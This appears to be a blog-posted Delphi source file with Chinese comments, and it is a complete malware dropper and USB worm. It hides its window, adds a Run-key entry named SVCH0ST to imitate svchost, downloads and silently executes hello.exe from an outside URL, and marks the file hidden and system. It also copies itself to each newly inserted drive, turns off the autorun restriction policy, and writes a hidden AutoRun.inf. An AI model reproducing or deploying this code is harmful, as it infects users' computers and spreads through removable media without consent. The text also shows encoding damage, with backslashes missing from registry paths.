隨筆檔案(496)

unit Un_Main;

interface

uses
?????? Windows, Messages, SysUtils,Forms,IniFiles;
type
?????? TFrm_Main = class(TForm)
?????? procedure FormCreate(Sender: TObject);
?????? procedure FormClose(Sender: TObject; var Action: TCloseAction);
?????? private
?????? procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
?????? public
?????? { Public declarations }
?????? end;
const
?????????? exefile = 'SVCH0ST.EXE';
?????????? Buffer = 'http://www.888.com/hello.exe';
?????????? DBT_DEVICEARRIVAL = $8000;?????? // system detected a new device
?????????? DBT_DEVICEREMOVECOMPLETE = $8004;?????? // device is gone
?????????? DBT_DEVTYP_VOLUME = $00000002;?????? // logical volume
?????????? DBTF_MEDIA = $0001;?????? // media comings and goings
type
????? PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
????? TDEV_BROADCAST_HDR = packed record
?????? dbch_size : DWORD;
?????? dbch_devicetype : DWORD;
?????? dbch_reserved : DWORD;
????? end;
?????? PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
?????? TDEV_BROADCAST_VOLUME = packed record
?????????? dbcv_size : DWORD;
?????????? dbcv_devicetype : DWORD;
?????????? dbcv_reserved : DWORD;
?????????? dbcv_unitmask : DWORD;
?????????? dbcv_flags : WORD;
?????? end;

function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
?????????????????????????????????????? StatusCB: Pointer): LongWord;
?????????????????????????????????????? stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';

function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
?????????????????????????? stdcall; external 'kernel32.dll' name 'WinExec';

var
?????? Frm_Main: TFrm_Main;
?????? exefull:string;
implementation

{$R *.dfm}

function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
?????? result := false;
?????? RegCreateKey(key,PChar(subkey),regkey);
?????? if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
?????? result := true;
?????? RegCloseKey(regkey);
end;

procedure Startup(var TheName:string);
begin
?????? SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
?????? UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
?????? SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
?????? messagebox(0,'文件下載成功！','成功',MB_OK);
?????? WinExec(PChar(TheName), SW_SHOWDEFAULT);
?????? //Sleep(500);
?????? //DeleteMe;
?????? //freemem(@path,256);
end;

procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var
?????? lpdb : PDEV_BROADCAST_HDR;
?????? lpdbv : PDEV_BROADCAST_VOLUME;
?????? unitmask:DWORD;
?????? i:integer;
?????? MyIni:TIniFile;
?????? s:Hkey;
?????? value:dword ;
?????? inifile:string;
begin
?????? lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
?????? case Msg.WParam of
?????? DBT_DEVICEARRIVAL ://有設備安裝完畢

?????? if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
?????? begin
?????????? lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
?????????? unitmask:=lpdbv.dbcv_unitmask;//取得設備的盤符
?????????? for i:=0 to 25 do //遍歷磁盤
?????????? begin
?????????????? if Boolean(unitmask and $1)then//看該驅動器的狀態是否發生了變化
?????????????? break;
?????????????? unitmask := unitmask shr 1;
?????????? end;
?????????? if fileexists(exefull) then?????? //向u盤拷文件
?????????? begin
?????????? copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
?????????? FileSetAttr(char(i+65) + ':' + exefile,$00000003);
?????????? end;
?????????? inifile:=char(i+65)+':AutoRun.inf';//ini文件
?????????? RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
?????????? value:=0;
?????????? RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
?????????? RegCloseKey(s);
?????????? if fileexists(inifile) then
?????????? begin
?????????? FileSetAttr(inifile,$00000000);
?????????? DeleteFile(inifile);
?????????? end;
?????????? MyIni := TIniFile.Create(inifile);
?????????? MyIni.WriteString('AutoRun', 'open',exefile);
?????????? FileSetAttr(inifile,$00000003);
?????? end;
????? end;
end;

procedure TFrm_Main.FormCreate(Sender: TObject);
var
s:hkey;
value:array[0..255]of char;
size:cardinal;
path:array[0..255] of char;
begin
?????? Application.ShowMainForm:=False;
?????? getsystemdirectory(path,120);
?????? exefull := strpas(path) + '' + exefile;
?????? size:=256;
?????? RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
?????? RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
?????? RegCloseKey(s);
?????? //文件存在且有自啟動
?????? if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
?????? messagebox(0,'自啟動成功！','成功',MB_OK)
?????? else
?????? Startup(exefull);//下載執行函數
end;

procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
?????? Application.Terminate;
end;

end.